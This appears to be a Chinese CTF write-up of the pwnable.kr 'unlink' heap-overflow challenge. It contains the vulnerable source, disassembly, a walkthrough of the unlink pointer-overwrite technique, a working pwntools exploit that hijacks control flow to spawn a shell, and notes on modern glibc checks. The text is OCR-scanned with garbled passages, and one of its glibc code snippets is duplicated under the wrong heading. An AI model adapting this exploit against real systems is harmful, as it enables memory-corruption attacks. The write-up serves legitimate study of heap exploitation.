# 萌新带你开车上p站(番外篇)



分类专栏: 经验分享

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经验分享 专栏收录该内容

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前言

这道题目应该是pwnable.kr上Toddler's Bottle最难的题目了,涉及到相对比较难的堆利用的问题,所以拿出来分析。

登录



看看源程序

```
unlink@pwnable:~$ cat unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}0BJ;
void shell(){
    system("/bin/sh");
void unlink(OBJ* P){
   OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
   OBJ* C = (OBJ*)malloc(sizeof(OBJ));
   A \rightarrow fd = B;
   B->bk=A;
    B\rightarrow fd = C;
    C \rightarrow bk = B;
    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
    unlink(B);
    return 0;
                                     https://blog.csdn.net/qq_38154820
```

## 程序中有几点要注意的地方:

- 1. 定义的OBJ结构体中一个指针4字节,buffl数组8字节
- 2. Unlink()的过程其实就是双向链表中摘下中间那一块的过程
- 3. 主函数中malloc了三个结构体,并通过指针连成了双向链表A<->B<->C
- 4. 打印出A的栈地址,堆地址,这两个地址这里记做stack,hep,待会儿在分析中会用到
- 5. 漏洞在于gets函数会造成溢出,同时通过随后的unlink()进行利用

# 具体而言什么是unlink呢?

unlinked 是堆溢出中的一种常见形式,通过将双向列表中的空闲块拿出来与将要free的物理相邻的块进行合并。(将双向链表上的chunk卸载下来与物理chunk合并)。Unlink漏洞的利用条件就是有3个以上的空闲chunk链表,其中最前面的chunk存在有堆溢出。没错我们这次的题目就存在这个情况。解链的原理相信学过数据结构的师傅们都清楚了



对照着这次的程序,BK相当于AP相当于B,FD相当于C

这次需要用到的漏洞溢出漏洞技术称为Dword shoot。在进行双向链表的操作过程中,有溢出等的情况下,删除的chunk的fd、bk两个指针被恶意的改写的话,就会在链表删除的时候发生的漏洞。

对应到本题的程序,将被删除的chunk为B,而我们可以通过溢出A来修改B的fd,bk,修改后会引发什么漏洞呢? 我们接下来详细说明。

把二进制文件下到本地分析



要我们攻击的最终是目的是劫持返回地址,写入shellcode的地址,以及为了能够溢出A,修改B的指针等操作, 我们都需要看看汇编中一些关键量的地址

```
Dump of assembler code for function main:
   0x0804852f <+0>: lea
                            ecx, [esp+0x4]
                            esp,0xfffffff0
   0x08048533 <+4>: and
                           DWORD PTR [ecx-0x4]
   0x08048536 <+7>: push
   0x08048539 <+10>: push ebp
   0x0804853a <+11>:
                        mov
                                ebp.esp
   0x0804853c <+13>:
                        push
                               есх
   0x0804853d <+14>:
                         sub
                                esp,0x14
   0x08048540 <+17>:
                                esp,0xc
   0x08048543 <+20>:
                        push
                               0x400
   0x08048548 <+25>:
                        call
                               0x80483a0 <malloc@plt>
                                esp,0x10
   0x0804854d <+30>:
                        add
   0x08048550 <+33>:
                         sub
                                esp, 0xc
   0x08048553 <+36>:
                                0x10
   0x08048555 <+38>:
                                0x80483a0 <malloc@plt>
                         call
                                esp,0x10
                        add
   0x0804855d <+46>:
                                DWORD PTR [ebp-0x14],eax
                        mov
   0x08048560 <+49>:
                                esp.@xc
                         sub
   0x08048563 <+52>:
                         push
                               0x10
   0x08048565 <+54>:
                         call
                               0x80483a0 <malloc@plt>
   0x0804856a <+59>:
                                DWORD PTR [ebp-0xc],eax
   0x0804856d <+62>:
                        mov
   0x08048570 <+65>:
                        sub
                                esp, 0xc
   0x08048573 <+68>:
                               0x10
                        push
   0x08048575 <+70>:
                        call
                               0x80483a0 <malloc@plt>
   0x0804857a <+75>:
                         add
                                esp,0x10
   0x0804857d <+78>:
                                DWORD PTR [ebp-0x10],eax
                               eax,DWORD PTR [ebp-0x14]
                        mov
   0x08048583 <+84>:
                               edx,DWORD PTR [ebp-0xc]
                        mov
                               DWORD PTR [eax],edx
   0x08048586 <+87>:
                        mov
   0x08048588 <+89>:
                        mov
                               edx,DWORD PTR [ebp-0x14]
                        mov eax,DWORD PTR [ebp-0xc]
mov DWORD PTR [eax+0x4],edx
   0x0804858b <+92>:
   0x0804858e <+95>:
   0x08048591 <+98>:
                             eax,DWORD PTR [ebp-0xc]
                        mov
   0x08048594 <+101>:
                               edx,DWORD PTR [ebp-0x10]
                        mov
                               DWORD PTR [eax],edx
   0x08048597 <+104>:
                        mov
   0x08048599 <+106>: mov
0x0804859c <+109>: mov
                               eax, DWORD PTR [ebp-0x10]
  0x0804859c <+109>: mov edx,DWORD PTR https://dlog.csdn.net/qq_38154820
--Type <return> to continue, or q <return> to dult---
```

```
-Type <return> to continue, or q <return> to quit-
  0x0804859f <+112>: mov DWORD PTR [eax+0x4],edx
  0x080485a2 <+115>:
                      sub
                             esp,0x8
  0x080485a5 <+118>:
                             eax,[ebp-0x14]
  0x080485a8 <+121>:
                      push
                            eax
  0x080485a9 <+122>:
                      push
                            0x8048698
  0x080485ae <+127>:
                      call
                             0x8048380 <printf@plt>
  0x080485b3 <+132>:
                      add
                             esp,0x10
                             eax, DWORD PTR [ebp-0x14]
  0x080485b6 <+135>:
                      mov
  0x080485b9 <+138>:
                      sub
                             esp,0x8
  0x080485bc <+141>:
                      push
                            eax
  0x080485bd <+142>:
                             0x80486b8
                      push
  0x080485c2 <+147>:
                             0x8048380 <printf@plt>
                      call
  0x080485c7 <+152>:
                             esp,0x10
                      add
  0x080485ca <+155>:
                             esp,0xc
                      sub
  0x080485cd <+158>:
                             0x80486d8
                      push
  0x080485d2 <+163>:
                      call
                             0x80483b0 <puts@plt>
  0x080485d7 <+168>:
                             esp,0x10
                      add
  0x080485da <+171>:
                             eax, DWORD PTR [ebp-0x14]
                      mov
  0x080485dd <+174>:
                      add
                             eax,0x8
  0x080485e0 <+177>:
                      sub
                             esp,0xc
  0x080485e3 <+180>:
                      push
                             eax
  0x080485e4 <+181>:
                      call
                             0x8048390 <gets@plt>
  0x080485e9 <+186>:
                             esp,0x10
  0x080485ec <+189>:
                      sub
                             esp.@xc
  0x080485ef <+192>:
                             DWORD PTR [ebp-0xc]
                      push
  0x080485f2 <+195>:
                      call
                             0x8048504 <unlink>
  0x080485f7 <+200>:
                      add
                             esp,0x10
  0x080485fa <+203>:
                      mov
                             eax.0x0
                             ecx,DWORD PTR [ebp-0x4]
  0x080485ff <+208>:
                      mov
  0x08048602 <+211>:
  0x08048603 <+212>:
                             esp, [ecx-0x4]
                      lea
  0x08048606 <+215>:
End of assembler dump.
                                       https://blog.csdn.net/qq_38154820
```

#### 关键的地方:

- 1. A在栈上的地址是ebp-0x14,即ebp-0x14=stack=&A
- 2. 最后的ret,作用是赋值给eip寄存器,而我们要做的就是修改esp寄存器的内容为shellcode的地址
- 3. 通过lea esp,[ecx-0x4]可以知道esp的值来自[ecx-4]
- 4. leave指令对esp没影响
- 5. mov ecx,DWORD PTR[ebp-0x4],可知,ecx的值来自[ebp-4]
- 6. 综上,我们只需要把shellcode的地址写到[ebp-8]地址(事实上这样很不方便,我们下面实际上是把shellcode地址+4写到[ebp-4]地址,这样的话,shellcode地址+4-4,传给esp的时候恰好就是shellcode的地址)

## 推论:

- (1) 由1得, ebp-4等于stack+0x14-0x4
- (2) heap\_是A在堆中的地址,加上在buf前有fd,bk链各个指针共8个字节,所以shellcode的地址是写到了heap+0x8处,所以 (shellcode地址+4)= (heap+0x8) +0x4

只要实现了\* (ebp-4)=&shellcode+4,则ecx就被覆盖成了&shellcode+4,然后执行了

```
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
```

#### 我们就拿到shell了

我们前面留下了一个问题:被删除的chunk为B,修改B的fd,bk,修改后会引发什么漏洞 先举个简单的例子看看,设我们修改了B->fd=!!!!,B->bk=@@@@,在调用unlink(B)时,

```
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
对应执行的流程是这样子的
BK=*(B+4)=@@@@ //B->bk前还有B->fd,占4字节
FD=*(B)=!!!!
*(FD+4)=*(!!!!+4)=BK=@@@@
*(BK)=*(@@@@)=FD=!!!!
```

通过红色字体的关系,我们知道,修改了B的fd,bk之后,就可以在进行覆盖操作这里我们设修改了B->bk=[ebp-4],B->fd=&shellcode+4则进过unlink(B)之后会有

```
*(&shellcode+4+4)=[ebp-4] //这个结果无影响
* (ebp-4)=&shellcode+4 //实现了* (ebp-4)=&shellcode+4,因为*(ebp-4)覆给ecx,则ecx就被覆盖成了&shellcode+4,然
```

\*(&shellcode+4+4)=[ebp-4] //这个结果无影响 \* (ebp-4)=&shellcode+4 //实现了\* (ebp-4)=&shellcode+4,因为\*(ebp-4)覆给ecx,则ecx就被覆盖成了&shellcode+4,然后就可以拿到shell了

接下来具体看看怎么布局

我们知道

shellcode地址+4=heap+0x8+0x4=heap+12,来修改B->fd

ebp-4=stack+0x14-0x4=stack+16,来修改B->bk

A的buf大小是8字节,写了shellcode地址花了4字节,因为最小单位为16字节,所以还剩16-4=12字节需要填充,我们填充12个A

综上,得到了如下的布局

```
FD | BK |
shell addr | AAAA |
AAAAAAAA |
AAAAAAAA |
heap + 12 | stack + 16 |
https://blog.esdm.net/qq_38154820
```

shellcode的地址是什么呢

```
(gdb) disas shell
Dump of assembler code for function shell:
 0x080484eb <+0>: push %ebp
  0x080484ec <+1>:
                              %esp,%ebp
  0x080484ee <+3>:
                      sub $0x8,%esp
                      sub $0xc,%esp
push $0x8048690
  0x080484f1 <+6>:
  0x080484f4 <+9>:
                    call 0x80483c0 <system@plt>
add $0x10,%esp
  0x080484f9 <+14>:
  0x080484fe <+19>:
                              $0x10,%esp
  0x08048501 <+22>:
                       nop
  0x08048502 <+23>:
                       leave
  0x08048503 <+24>:
                       ret
End of assembler dump.
                                        https://blog.csdn.net/qq_38154820
```

而heap和stack的地址每次运行时都会打印出来的

```
unlink@pwnable:--$_/unlink
here is stack address leak: 0xff961a74
here is heap address leak: 0x81e3410
now that you have leaks, get shell!
```

综上,写出exp:

```
#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level="DEBUG")
shell=ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
io=shell.run("./unlink")
shell addr=0x080484EB
re=io.recvline()
stack_addr=int(re.split(":")[1],16)
re=io.recvline()
heap_addr=int(re.split(":")[1],16)
io.recvline()
payload = p32(shell_addr)#(A->buf(0~3))
payload +="a"*(0x4+0x8)#(A->buf(4~7)+padding(0x08))
payload += p32(heap_addr+0x8+0x4)#(B->fd)
payload += p32(stack_addr+0x14-0x4)#(B->bk)
io.send(payload)
io.interactive()
                                          https://blog.csdn.net/gg_38154820
```

## 上传到服务器

```
root@kali:~/tmp# scp -P2222 unlink.py unlink@pwnable.kr:/tmp/unlink.py
unlink@pwnable.kr's password:
unlink.py 100% 783 2.5KB/s 00:00
root@kali:~/tmp#
```

#### 执行得到shell

```
local/lib/python2.7/dist-packages/paramiko/kex_ecdh_nist.py:39: Cryptograph
+] Connecting to pwnable.kr on port 2222: Done
   Connecting to pwnable.kr on port 2222: Done
[+] Connecting to pwnable.kr on port 2222: Done
/usr/local/lib/python2.7/dist-packages/paramiko/kex_ecdh_nist.py:39: Cryptograph
yDeprecationWarning: encode point has been deprecated on EllipticCurvePublicNumb
ers and will be removed in a future version. Please use EllipticCurvePublicKey.p
ublic bytes to obtain both compressed and uncompressed point encoding.
m.add string(self.Q C.public numbers().encode point())
/usr/local/lib/python2.7/dist-packages/paramiko/kex_ecdh_nist.py:96: Cryptograph
yDeprecationWarning: Support for unsafe construction of public numbers from enco
ded data will be removed in a future version. Please use EllipticCurvePublicKey
rom_encoded_point
 self.curve, Q_S_bytes
/usr/local/lib/python2.7/dist-packages/paramiko/kex_ecdh_nist.py:lll: Cryptograp
hyDeprecationWarning: encode_point has been deprecated on EllipticCurvePublicNum
pers and will be removed in a future version. Please use EllipticCurvePublicKey
public_bytes to obtain both compressed and uncompressed point encoding.
 chm:add_string(self.Q_C.public_numbers().encode_point())
!] Couldn't check security settings on 'pwnable.kr
+] Opening new channel: 'stty raw -ctlecho -echo; cd . >/dev/null 2>&1;./unlink
: Done
     6] Received 0x70 bytes:
   'here is stack address leak: 0xff892804\n'
'here is heap address leak: 0x9f4b410\n'
   00000000
                          61 61 61 61 61 61 61 61 61 61 61 61 61 ... aaaa aaa
 aaaa
   00000010
   00000018
   Switching to interactive mode
                                           https://blog.csdn.net/qq_38154820
```

值得注意的是,本题的unlink利用是比较古老的方式了,现在的glibc已经加入了很多新的保护措施包括:

## Double Free检测

该机制不允许释放一个已经处于free状态的chunk。因此,当攻击者将second chunk的size设置为-4的时候,就意味着该size的PREV\_INUSE位为0,也就是说second chunk之前的first chunk(我们需要free的chunk)已经处于free状态,那么这时候再free(first)的话,就会报出double free错误。相关代码如下:

```
/* Or whether the block is actually not marked used. */
if (_glibc_unlikely (!prev_inuse(nextchunk)))

{
    errstr = "double free or corruption (!prev)";
    goto errout;
}
```

#### next size非法检测

该机制检测next size是否在8到当前arena的整个系统内存大小之间。因此当检测到next size为-4的时候,就会报出invalid next size错误。相关代码如下:

```
/* Or whether the block is actually not marked used. */
if (_glibc_unlikely (!prev_inuse(nextchunk)))

{
    errstr = "double free or corruption (!prev)";
    goto errout;
}
```

# 双链表冲突检测

该机制会在执行unlink操作的时候检测链表中前一个chunk的fd与后一个chunk的bk是否都指向当前需要unlink的chunk。这样攻击者就无法替换second chunk的fd与fd了。相关代码如下:

```
#!c
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
4
```

也出现很多新的技巧的关于unlink的CTF题目,如:

```
HITCON 2014 stkof

0CTF 2016 - Zerostorage

0CTF 2015 'freenote'

HITCON CTF 2016: Secret Holder

强网杯2018 silent2
```

这些题目有兴趣的师傅们可以自行去pwn

## 参考

1.https://paper.seebug.org/papers/Archive/drops2/Linux%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%&

- 2.https://heap-exploitation.dhavalkapil.com/attacks/unlink exploit.html
- 3. https://paper.seebug.org/papers/Archive/refs/2015-1029-yangkun-Gold-Mining-CTF.pdf
- 4.https://cysecguide.blogspot.com/2017/10/pwnablekr-unlink-solution.html

5.cft wiki

ARM漏洞利用技术五--堆溢出:通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。

http://www.hetianlab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde